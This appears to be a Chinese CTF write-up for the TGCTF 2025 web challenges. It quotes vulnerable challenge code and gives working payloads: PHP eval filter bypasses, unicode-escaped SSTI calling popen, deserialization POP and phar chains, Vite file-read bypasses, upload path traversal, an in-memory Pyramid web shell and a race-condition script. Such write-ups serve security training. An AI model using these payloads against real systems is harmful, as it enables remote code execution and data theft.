AAA偷渡阴平

web签到1。简单的PHP特性,我的waf无懈可击!(bushi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

考虑无参

image-20250413191044603

?tgctf2025=eval(current(getallheaders()));

image-20250413191211100

或者

1
2
?tgctf2025=eval(array_pop(next(get_defined_vars())));
POST:1=system('tac /flag');

AAA偷渡阴平(复仇)

ban了无参RCE,思考别的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

没有过滤session

1
session_start();system(hex2bin(session_id()));

image-20250414184217570

直面天命

hint:
有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!

写个字典爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
import itertools
import string
import requests
from tqdm import tqdm

url = "http://127.0.0.1:53593/"
for i in tqdm(itertools.product(string.ascii_lowercase, repeat=4)):
a = ''.join(i)
payload = url + a
response = requests.get(payload)
if response.status_code == 200:
print(a)
break

得到aazz

爆破参数 ffuf arjun burp都行

1
/aazz?filename=/flag

直面天命(复仇)

逃不脱,就带上金箍吧,重走一次西行路

(听说黄风大王戏份太多,我拿定风珠定住他了)

(原路由文件读取功能修改为源码展示)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<pre>import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:<br>{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:<br>有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"<pre>{source_code}</pre>", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)</pre>

关键部分

image-20250414184639787

image-20250414184923148

简单ssti

八进制orUnicode

1
{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('whoami').read()}}
1
name=天命''['\u005F\u005F\u0063\u006C\u0061\u0073\u0073\u005F\u005F']['\u005F\u005F\u006D\u0072\u006F\u005F\u005F'][1]['\u005F\u005F\u0073\u0075\u0062\u0063\u006C\u0061\u0073\u0073\u0065\u0073\u005F\u005F']()[132]['\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F']['\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F']['\u0070\u006F\u0070\u0065\u006E']('nl /tgffff11111aaaaggggggg?')['\u0072\u0065\u0061\u0064']()难违

image-20250414191657760

什么文件上传?

听说有个黑客在这个文件上传里面加料了?

1
2
3
4
5
6
7
8
9
User-Agent: *
Disallow: /admin/
Disallow: /private/
Disallow: /baidu
Disallow: /s?
Disallow: /unlink
Disallow: /phar
Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!-->
Disallow: /class.php

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

构造pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class yesterday {
public $learn;
public $study="study"; //链头

}
class today {
public $doing; //3 tommorow
public $did;
public $done;

}
class tommoraw {
public $good; //2 future
public $bad;


}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;


}
$a = new yesterday();
$a -> study = new today();
$a -> study -> doing = new future();

echo base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(serialize($a))))));
?>

image-20250414181845579

什么文件上传?(复仇)

题目描述请看【web】什么文件上传? (plz再非我一次^ ^)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_encode(md5(base64_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

爆破出三个字母的后缀

image-20250414193621806

exp同上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class yesterday {
public $learn;
public $study="study"; //链头

}
class today {
public $doing; //3 tommorow
public $did;
public $done;

}
class tommoraw {
public $good; //2 future
public $bad;


}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;


}
$a = new yesterday();
$a -> study = new today();
$a -> study -> doing = new future();

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

image-20250414193855743

前端GAME/Plus

非常适合新生的前端小游戏,真的吗。

POC/wpoc/Vite开发服务器/Vite开发服务器任意文件读取漏洞(CVE-2025-30208).md at main · eeeeeeeeee-code/POC

image-20250414182313521

结合提示flag位置读取即可

image-20250414182402276

image-20250414182421222

前端GAME ultra

server.fs.deny bypassed with an invalid request-target · Advisory · vitejs/vite

image-20250414182713243

绕过app限制

1
/@fs/app#/../tgflagggg

(ez)upload

简单的文件上传

源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

注意这句话

image-20250413183801389

文件名可以覆盖,由于uploads目录是被限制了,所以通过../目录穿越到web目录

image-20250413184243345

image-20250413184328779

火眼辩魑魅

shell学姐会让青春CTF少年脸红吗?

1
2
3
4
5
6
<?php
$shell=$_POST["shell"];
{
eval($shell);
}
?>

十六进制绕过

shell=”\x73\x79\x73\x74\x65\x6d”(“nl /tgfffffllllaagggggg”);

直接蚁剑连也可以

TG_wordpress

本题可能无法继续解题

本题在赛时为出题人自行部署,赛后归档之后原题目环境可能不再可用,请参考主办方开源仓库自行搭建复现环境。

请不要向我们汇报此题环境无法访问!

WARN:后台管理请勿做任何修改的操作!

flag形式是TGCTF{CVE编号}

题目地址:http://101.37.149.223:33376/

(访问人数过多时,需等待服务器重启,可以先看其他题!)

TG_wordpress,wordpress中的战斗机!

hint1:如果账号密码存在于xml文件中,&会被转义为&,输入账密请用&

(若扫描器无法使用,请等待服务器访问人数减少,或者花费50pts购买hint)

image-20250414195006309

1
TGCTF{CVE-2020-25213}

TGCTF 2025 后台管理

TeamGipsy队员不小心泄露了本届TGCTF的后台管理地址,还好管理员账户有强密码保护,暂时未造成威胁。 初始账号密码:tg/tg123 靶机地址:http://124.71.147.99:9045/ (禁止使用扫描器)

环境没了 没法看题了呜呜

熟悉的配方,熟悉的味道

简单的本地计算器,进行了严格安全验证,包严格的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
url = "http://127.0.0.1:57275/"
exp = """
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = next(g)
b = frame.f_back.f_back.f_globals

def hello(request):
code = request.POST['code']
res = eval(code)
return Response(res)

b['config'].add_route('yiyi', '/yiyi')
b['config'].add_view(hello, route_name='yiyi')
b['config'].commit()
waff()
"""

data = {
'expr': f'{exp}+1'
}

res = requests.post(url, data=data)
print(res.status_code)

打内存马

1
http://127.0.0.1:57275/yiyi

post

1
code=__import__('os').popen('ls /').read()

image-20250415084925360

老登,炸鱼来了?

俺就一出题的,俺啥也不知道阿,俺以为是炸鱼老登呢,俺们都在用力的活着,你和gets将军说去吧。(需要让子弹飞一会)

hint1 :safe参数——2025-04-12 23:44 hint2 :竞争的思路是对的,但是脚本需要斟酌——2025-04-13 18:12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
package main

import (
"fmt"
"io"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"text/template"
"time"
)

type Note struct {
Name string
ModTime string
Size int64
IsMarkdown bool
}

var templates = template.Must(template.ParseGlob("templates/*"))

type PageData struct {
Notes []Note
Error string
}

func blackJack(path string) error {

if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {
return fmt.Errorf("非法路径")
}

return nil
}

func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
safe := templates.ExecuteTemplate(w, tmpl, data)
if safe != nil {
http.Error(w, safe.Error(), http.StatusInternalServerError)
}
}

func renderError(w http.ResponseWriter, message string, code int) {
w.WriteHeader(code)
templates.ExecuteTemplate(w, "error.html", map[string]interface{}{
"Code": code,
"Message": message,
})
}

func main() {
os.Mkdir("notes", 0755)

safe := blackJack("/flag") //错误示范,return fmt.Errorf("非法路径")

http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
files, safe := os.ReadDir("notes")
if safe != nil {
renderError(w, "无法读取目录", http.StatusInternalServerError)
return
}

var notes []Note
for _, f := range files {
if f.IsDir() {
continue
}

info, _ := f.Info()
notes = append(notes, Note{
Name: f.Name(),
ModTime: info.ModTime().Format("2006-01-02 15:04"),
Size: info.Size(),
IsMarkdown: strings.HasSuffix(f.Name(), ".md"),
})
}

renderTemplate(w, "index.html", PageData{Notes: notes})
})

http.HandleFunc("/read", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")

if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

file, safe := os.Open(filepath.Join("notes", name))
if safe != nil {
renderError(w, "文件不存在", http.StatusNotFound)
return
}

data, safe := io.ReadAll(io.LimitReader(file, 10240))
if safe != nil {
renderError(w, "读取失败", http.StatusInternalServerError)
return
}

if strings.HasSuffix(name, ".md") {
w.Header().Set("Content-Type", "text/html")
fmt.Fprintf(w, `<html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css"></head><body class="markdown-body">%s</body></html>`, data)
} else {
w.Header().Set("Content-Type", "text/plain")
w.Write(data)
}
})

http.HandleFunc("/write", func(w http.ResponseWriter, r *http.Request) {
if r.Method != "POST" {
renderError(w, "方法不允许", http.StatusMethodNotAllowed)
return
}

name := r.FormValue("name")
content := r.FormValue("content")

if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

if r.FormValue("format") == "markdown" && !strings.HasSuffix(name, ".md") {
name += ".md"
} else {
name += ".txt"
}

if len(content) > 10240 {
content = content[:10240]
}

safe := os.WriteFile(filepath.Join("notes", name), []byte(content), 0600)
if safe != nil {
renderError(w, "保存失败", http.StatusInternalServerError)
return
}

http.Redirect(w, r, "/", http.StatusSeeOther)
})

http.HandleFunc("/delete", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

safe := os.Remove(filepath.Join("notes", name))
if safe != nil {
renderError(w, "删除失败", http.StatusInternalServerError)
return
}

http.Redirect(w, r, "/", http.StatusSeeOther)
})

// 静态文件服务
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))

srv := &http.Server{
Addr: ":9046",
ReadTimeout: 10 * time.Second,
WriteTimeout: 15 * time.Second,
}
log.Fatal(srv.ListenAndServe())
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import threading
import time

TARGET = "http://127.0.0.1:58201/"

success = False
start_time = 0

def attack():
global success
while not success:
try:
resp = requests.get(TARGET+"read?name=../../../../flag")
except Exception as err:
#print(err)
continue

if "TGCTF{" in resp.text:
print("[+] 成功读取flag:", resp.text)
print("[+] 用时", time.time()-start_time)
success = True
elif "非法路径" not in resp.text:
print("[+] 竞争成功,结果为", resp.text)

def interference():
while not success:
# 发送合法请求冲刷safe变量
try:
requests.get(TARGET+"read?name=1.txt")
except Exception as err:
#print(err)
continue

print("开始...")
start_time = time.time()
for _ in range(100):
threading.Thread(target=attack).start()

for _ in range(5000):
threading.Thread(target=interference).start()
print("线程创建完毕")

来自

TGCTF2025-SevenSword-WP | BR-blog